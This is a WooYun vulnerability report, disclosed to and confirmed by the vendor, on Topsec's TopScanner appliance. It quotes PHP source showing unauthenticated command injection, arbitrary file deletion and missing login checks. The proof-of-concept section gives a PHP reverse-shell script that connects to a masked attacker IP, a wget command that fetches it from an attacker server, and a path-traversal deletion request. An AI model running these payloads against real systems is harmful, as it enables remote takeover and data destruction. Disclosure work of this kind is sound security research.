当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(64) 关注此漏洞

缺陷编号: WooYun-2016-171065

漏洞标题: 天融信TopScanner多处高危漏洞大礼包终结版(无需登录)

相关厂商: 天融信

漏洞作者: xfkxfk认证白帽子

提交时间: 2016-01-19 11:17

公开时间: 2016-04-11 16:08

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 设计不当导致攻击界面扩大

11人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-19: 细节已通知厂商并且等待厂商处理中
2016-01-19: 厂商已经确认,细节仅向厂商公开
2016-01-22: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-03-14: 细节向核心白帽子及相关领域专家公开
2016-03-24: 细节向普通白帽子公开
2016-04-03: 细节向实习白帽子公开
2016-04-11: 细节向公众公开

简要描述:

天融信TopScanner多处高危漏洞终结大礼包,命令执行,任意文件删除,全局设计缺陷等,均无需登录,成功shell。

详细说明:

0x01 多处命令执行漏洞

文件direct/polling/CommandsPolling.php

code 区域
<?php
include_once 'command/CCmdsPolling.php';

$command = isset($_POST['command'])?$_POST['command']:"";
$saveFile = isset($_POST['filename'])?$_POST['filename']:"";
$cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:"";
$cmdParam = trim($cmdParam);
$faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));

//command is null
if(empty($command)){
echo $faultStr;
exit();
}

//exec and get result
$result = array();
$pollingObj = new CCmdsPolling();
if($command == "ping") {
$result = $pollingObj->getPingInfo($cmdParam, $saveFile);
} else if ($command == "traceroute") {
$result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile);
} else {
echo $faultStr;
exit();
}



第一处命令执行:

当$command == "ping"时,$cmdParam和$saveFile进入getPingInfo函数

跟进文件command/CCmdsPolling.php

code 区域
function getPingInfo($pingIp, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件
}



当$saveFile等于空时,继续跟进ping函数

code 区域
function ping($ip)
{
if(empty($ip))
return "";

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
if($ip && $filename) {
if(file_exists($filename) ) {
unlink($filename);
}
$cmd = "ping -c 5 $ip > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}



注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续跟进getClientAddr函数

code 区域
function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}



这里直接获取ip,然后返回,无视此系统的GPC=on

最后$filename可控,进入exec中被执行



当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述



第二处命令执行

当$command == "traceroute"时,$cmdParam, $saveFile进入getTracerouteInfo函数

跟进getTracerouteInfo函数,文件command/CCmdsPolling.php

code 区域
function getTracerouteInfo($address, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::traceroute($address); //第一次发送命令,执行命令,生成需要的文件
}



跟进traceroute函数:

code 区域
function traceroute($address)
{
if(!$address)
return "";

$filename = "/tmp/". self::getClientAddr()."traceroute".$address.".txt";
if($address && $filename) {
if(file_exists($filename)) {
unlink($filename);
}
$cmd = "traceroute -m " . self::trace_max_hops . " -n $address > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}



注意看这里的$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续跟进getClientAddr函数

code 区域
function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}



这里直接获取ip,然后返回,无视此系统的GPC=on

最后$filename可控,进入exec中被执行



当然这里的ip也进入cmd,进入exec中被执行,此处已有人提交不在赘述





0x02 多处任意文件删除漏洞

第一处文件删除:

文件/task/webapi/update.php

code 区域
<?
require_once("datalayer/CDatalayer.php");
include_once "base/CShellExec.php";

$shell = new CShellExec();
$dl = new DataLayer();
$cn = $dl->connectDB();
$dl->queryDB($cn,"use scandb");
$dl->queryDB($cn,"delete from t_pluginadding");
$success = false;

$result = $dl->queryDB($cn,"select * from t_SystemProperty where System_Property='vul_current_version'");
$row = $dl->fetchArray($result);
$vulCurrentVersion = $row["System_Value"];
$dl->queryDB($cn,"update t_SystemProperty set System_value='$vulCurrentVersion' where System_Property='vul_old_version'");


set_time_limit(0);
if($_GET["package"])
{
$filename = $_GET["package"];
$tmpFilename = "/tmp/update_".time().".des";

$filename = trim($filename,"\\");
$filename = "/tmp/".$filename;

$cmd = "/usr/sbin/openssl enc -des -d -a -in ".$filename." -out ".$tmpFilename." -pass pass:rmd@NetP0wer";
$shell->Execute($cmd,"",true);
$dirname = $tmpFilename.".dir";
mkdir($dirname,0777);
}
else
{
......
}
......
unlink($filename);
unlink($tmpFilename);
system("rm -rf ".$dirname);
echo $success;
?>



可以看到$filename = $_GET["package"];

然后进过一些操作后并没有exit

最后$filename进入unlink,导致任意文件删除



当然这里也是存在命令执行的,在$shell->Execute这里

因为已经有人提交了,就不在赘述了



第二处和第三处文件删除:

文件direct/polling/CommandsPolling.php

code 区域
<?php
include_once 'command/CCmdsPolling.php';

$command = isset($_POST['command'])?$_POST['command']:"";
$saveFile = isset($_POST['filename'])?$_POST['filename']:"";
$cmdParam = isset($_POST['cmdParam'])?$_POST['cmdParam']:"";
$cmdParam = trim($cmdParam);
$faultStr = json_encode(array('type'=>'event', 'name'=>'message', 'data'=>array("exception", "", "") ));

//command is null
if(empty($command)){
echo $faultStr;
exit();
}

//exec and get result
$result = array();
$pollingObj = new CCmdsPolling();
if($command == "ping") {
$result = $pollingObj->getPingInfo($cmdParam, $saveFile);
} else if ($command == "traceroute") {
$result = $pollingObj->getTracerouteInfo($cmdParam, $saveFile);
} else {
echo $faultStr;
exit();
}



$cmdParam, $saveFile参数分别进入getPingInfo和getTracerouteInfo函数

跟进getPingInfo和getTracerouteInfo函数

code 区域
function getPingInfo($pingIp, $saveFile)
{
$info=array();
if(empty($saveFile)) {
$saveFile = self::ping($pingIp); //第一次发送命令,执行命令,生成需要的文件
}
......
function ping($ip)
{
if(empty($ip))
return "";

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";
if($ip && $filename) {
if(file_exists($filename) ) {
unlink($filename);
}
$cmd = "ping -c 5 $ip > $filename 2>&1 &";
exec("$cmd ");
}
return $filename;
}
......
function getClientAddr(){
unset($onlineip);
if($_SERVER['HTTP_CLIENT_IP']) {
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}else if($_SERVER['HTTP_X_FORWARDED_FOR']) {
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else {
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}



可见在getPingInfo函数中,然后当$saveFile为空时进入ping函数

然后在ping函数中:

$filename = "/tmp/" . self::getClientAddr()."ping".$ip.".txt";

继续看看getClientAddr函数中,直接从$_SERVER中获取ip地址,然后返回

所以这里就无视GPC了,且此系统时GPC=on的

最后导致ping函数中的$filename可控,最后$filename进入unlink函数中

$filename的值可用%00截断,导致任意文件删除



第三处和第二处原理一样

在traceroute函数中的$filename可控,最后$filename进入unlink函数中

$filename的值可用%00截断,导致任意文件删除





0x03 全局设计缺陷

为什么叫全局,因为这是一个安全产品,说有功能都应该是登陆后操作

但是这里在对对应功能操作是,根本没有验证登录状态

所以无需登录就可操作全局页面功能

此系统是设有全局登录验证函数的:

如direct/polling/progressbarPolling.php文件中

code 区域
if(!($userName = GetSessionVariable('userName'))){   //取得登录用户名
echo json_encode(array(
'type'=>'event',
'name'=>'np_probe_device_alive_event',
'data'=>false
));
exit();
}



这里进行了登录状态验证,session中没有username即exit,看看GetSessionVariable函数

文件base/session.php

code 区域
function GetSessionVariable($key)
{
return $_SESSION[netpower][$key];
}



从session中取userName得内容

但是95%以上的地方都没有使用这样的验证

如device/device_export.php直接导出设备信息

distribute/vuldetial.php所以插件漏洞信息

policy/param_export.php策略信息导出

task/task_export.php任务信息导出

等等

漏洞证明:

命令执行证明:

当command=ping,filename为空,cmdParam不为空

1、在vps上放置shell.php,内容为:

code 区域
<?php 
$sock=fsockopen("*.*.*.*",61234);
exec("/bin/sh -i <&3 >&3 2>&3");
?>



2、利用这里的命令执行,下载shell.php文件到目标tmp目录下

code 区域
wget  http://*.*.*.*:8888/shell.php -O /tmp/shell.php



4.png



3、然后利用这里的命令执行,执行下载后的/tmp/shell.php

code 区域
php -f /tmp/shell.php



5.png



4、成功反弹shell

6.png



当command=traceroute时同理



文件删除证明:

利用设计缺陷中的无需登录文件上传,上传一个文件上去

文件device/device_import.php

code 区域
<?
/*
* 上传文件
*/

$UploadAction=0;

$TimeLimit=60; /*设置超时限制时间
缺省时间为 30秒
设置为0时为不限时 */

set_time_limit($TimeLimit);
if(move_uploaded_file($_FILES["importUpload"]["tmp_name"],"/tmp/" . $_FILES["importUpload"]["name"]))
{
chmod("/tmp/".$_FILES["importUpload"]["name"],0777);
echo '{success:true, file:'.json_encode('文件已经被存储到:'.'/tmp/'.$_FILES['importUpload']['name']).'}';
}else{
echo '{faliure:true, file:上传出错!}';
}
set_time_limit(30); //恢复缺省超时设置
?>



上传文件到tmp下:

7.png



成功上传:

8.png



发送请求:

code 区域
**.**.**.**/task/webapi/update.php?package=../../../../../../../tmp/1



即可删除文件/tmp/1

9.png



10.png



成功删除

修复方案:

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-19 14:16

厂商回复:

已确认,谢谢提交。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-01-19 18:03 | Mark0smith ( 普通白帽子 | Rank:139 漏洞数:56 | 我要是再正常一点就好了)
    0

    马克

  2. 2016-01-22 12:16 | 苏安泽 ( 普通白帽子 | Rank:162 漏洞数:48 | 一个想成为演员的黑客~)
    0

    666,首页全部都是$

  3. 2016-01-22 18:48 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)
    0

    天融信是时候研究RSAS了,233

  4. 2016-01-23 01:37 | 87技术联盟-Jack ( 路人 | Rank:12 漏洞数:6 | 来自于浩瀚网络中的小白!)
    0

    66666

  5. 2016-01-24 21:03 | J′aron ( 路人 | Rank:17 漏洞数:5 | 问题真实存在但是影响不大.)
    0

    $_$

  6. 2016-01-25 11:12 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)
    0

    天融信是时候研究RSAS了,233

登录后才能发表评论,请先 登录